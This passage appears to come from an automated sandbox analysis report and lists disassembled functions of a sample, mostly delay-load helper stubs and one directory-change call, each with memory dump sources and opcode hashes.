                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: c94c8cbacb04073873f838354c274bc13b886e0386c8449b92aad3ad50d60260
                                                              • Instruction ID: 1db9ad65bd681ddc7ded3e4a2cf4f8dc0f4264322538ec5bf92b59b94264ac99
                                                              • Opcode Fuzzy Hash: c94c8cbacb04073873f838354c274bc13b886e0386c8449b92aad3ad50d60260
                                                              • Instruction Fuzzy Hash: 95B0128135D103ED370461491E13E37011CCAC1F11330911EF801C2383D4409C461231
                                                              Function 00D94B58 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 61d6c7b12320b0b097161a462a0ba6a05cbbd877c1d658e0c5a9ef4dad2558ce
                                                              • Instruction ID: 902a7a6b2ec4e44192990de7de047af9930468c7dcce0556f44925ac958b58cd
                                                              • Opcode Fuzzy Hash: 61d6c7b12320b0b097161a462a0ba6a05cbbd877c1d658e0c5a9ef4dad2558ce
                                                              • Instruction Fuzzy Hash: 8FB0128135D103AD3704610A5E03E37011CCAC1F11330531EF001C22C3D4408C8A1635
                                                              Function 00D94B62 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 993d6df7bd35a4a9da87c68bbb5a24d819268bba05fc28e5bdd0a9fb98a61f34
                                                              • Instruction ID: d8e2df448b0a71e3877e4724654eca46309ba6334fb4f590b5a63670929274ae
                                                              • Opcode Fuzzy Hash: 993d6df7bd35a4a9da87c68bbb5a24d819268bba05fc28e5bdd0a9fb98a61f34
                                                              • Instruction Fuzzy Hash: 15B0128135D003AD370461095F03E37011CCAC1F11330931EF101C2283D4408C471635
                                                              Function 00D94C99 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 6a99de84cfd2c593831ba5656e931f06312b3ea6ada250a85e2f698e24915c58
                                                              • Instruction ID: 5996e1fc5d80cf514618dc6b7fa29848b9b943f79e8ef2c5003d70f2054fcae3
                                                              • Opcode Fuzzy Hash: 6a99de84cfd2c593831ba5656e931f06312b3ea6ada250a85e2f698e24915c58
                                                              • Instruction Fuzzy Hash: 77B0128165D002FD374461245E02D37011CC6C0B11331812EF401C2383D4404C4B1131
                                                              Function 00D94CB7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: ced51dc78b037faa7a0204ce2e09620949a99d6a63794672da3d4959583172d0
                                                              • Instruction ID: a9f5cbb4deced321655f9e055325b5f7da82a77d667c205bb6f3ff22c9f3fcef
                                                              • Opcode Fuzzy Hash: ced51dc78b037faa7a0204ce2e09620949a99d6a63794672da3d4959583172d0
                                                              • Instruction Fuzzy Hash: 61B0128125D003FD374461145E02E36011CC6C0B11331412EF001C2783D4404C4B1131
                                                              Function 00D94CAD Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: d1770aeb8786fb89af3d8327fa9283b9eae6948b4d737d26b34a5e71a781fabe
                                                              • Instruction ID: 3254bae9e5d12fc4b6dbb09c454749eb3ee7fb5cfc6204c21540da8e528b94cc
                                                              • Opcode Fuzzy Hash: d1770aeb8786fb89af3d8327fa9283b9eae6948b4d737d26b34a5e71a781fabe
                                                              • Instruction Fuzzy Hash: C8B0128125D002FD374461145F02D37011CC6C0B11331812EF001C2383D4404C4B1131
                                                              Function 00D94C7E Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: eaae8f38defd47a850c024c1ccd7b25899f919458d9d71672c6f7f5fa297d331
                                                              • Instruction ID: c45415532d6130081eb4c886fa139d799b4ea32de1a235d324db2ebefbc70ed6
                                                              • Opcode Fuzzy Hash: eaae8f38defd47a850c024c1ccd7b25899f919458d9d71672c6f7f5fa297d331
                                                              • Instruction Fuzzy Hash: 95B0128569D002FD370421041F02C36011CCED0B22331821EF001D1283D4504C471031
                                                              Function 00D94D18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94CF1
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 77d3a01856df60e0922b3b384bda6579294ba1510cbc43cdc6026118c32261c2
                                                              • Instruction ID: 410f9040123f574b2db73d03a9a5a875d2eb66746e5f471cad86f38545fdfff3
                                                              • Opcode Fuzzy Hash: 77d3a01856df60e0922b3b384bda6579294ba1510cbc43cdc6026118c32261c2
                                                              • Instruction Fuzzy Hash: 4AB0128525D103BD370476141E02D7B010CC6C1B11331821EF401C3283E8404C8E0031
                                                              Function 00D94D04 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94CF1
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: ed57f70eeff03aeb075f9688127e869442709f79cb4e4bd23d6484eb909eecb4
                                                              • Instruction ID: f78c54ac71f77aa331fa9a7c49c0caefc8022c3d936f8ce86c05b4edb2148c45
                                                              • Opcode Fuzzy Hash: ed57f70eeff03aeb075f9688127e869442709f79cb4e4bd23d6484eb909eecb4
                                                              • Instruction Fuzzy Hash: E3B0128525D203AD374475155E02D3B010CC6C0B11330422EF001C2283E8414CCB0031
                                                              Function 00D94D22 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94CF1
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 3b7d63dd443f0f33de96425611cb992e769b4b845061a6f1763a70c649a28d0f
                                                              • Instruction ID: 62563a729b365e40c9e17ebddb3cf8bfc0bc600bc8c89dbb5f0891a785c95678
                                                              • Opcode Fuzzy Hash: 3b7d63dd443f0f33de96425611cb992e769b4b845061a6f1763a70c649a28d0f
                                                              • Instruction Fuzzy Hash: 8AB0128525D103AD370475145E02D3B010CD6C0B11330412EF001C2283E8414C8B0031
                                                              Function 00D82226 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SetCurrentDirectoryW.KERNELBASE(?), ref: 00D82233
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory
                                                              • String ID:
                                                              • API String ID: 1611563598-0
                                                              • Opcode ID: d7659e5a1bb6010eedff01bc2bec805654ac6adea352ef33e87261e97b84c369
                                                              • Instruction ID: 8e96c6ff240951afdece0573547ec045e645bf5e1a25a4bff39602203017377e
                                                              • Opcode Fuzzy Hash: d7659e5a1bb6010eedff01bc2bec805654ac6adea352ef33e87261e97b84c369
                                                              • Instruction Fuzzy Hash: 52C04870211200DF8704DFA8DA8CA0A77EABFA2B16B419469F440CF130C734DD60DB39
                                                              Function 00D949D0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: c7a422938446b0fb018b45d5b2f6dde06bb41532815370f1be47f313c315c91c
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: c7a422938446b0fb018b45d5b2f6dde06bb41532815370f1be47f313c315c91c
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D949F8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 1da24d8cd6a3e914284feba2c1c585d380f6445177b847bdaa39fdcb4f40866e
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: 1da24d8cd6a3e914284feba2c1c585d380f6445177b847bdaa39fdcb4f40866e
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D949EE Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 1741c946adbce4b35016c33a8708439b2143ec0700524cd3382126b5041ce736
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: 1741c946adbce4b35016c33a8708439b2143ec0700524cd3382126b5041ce736
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D949E4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 4e6343262dfe61bca30ea671cd09894c7269940f24f8a2b66403a401fba9dc5e
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: 4e6343262dfe61bca30ea671cd09894c7269940f24f8a2b66403a401fba9dc5e
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D949B2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
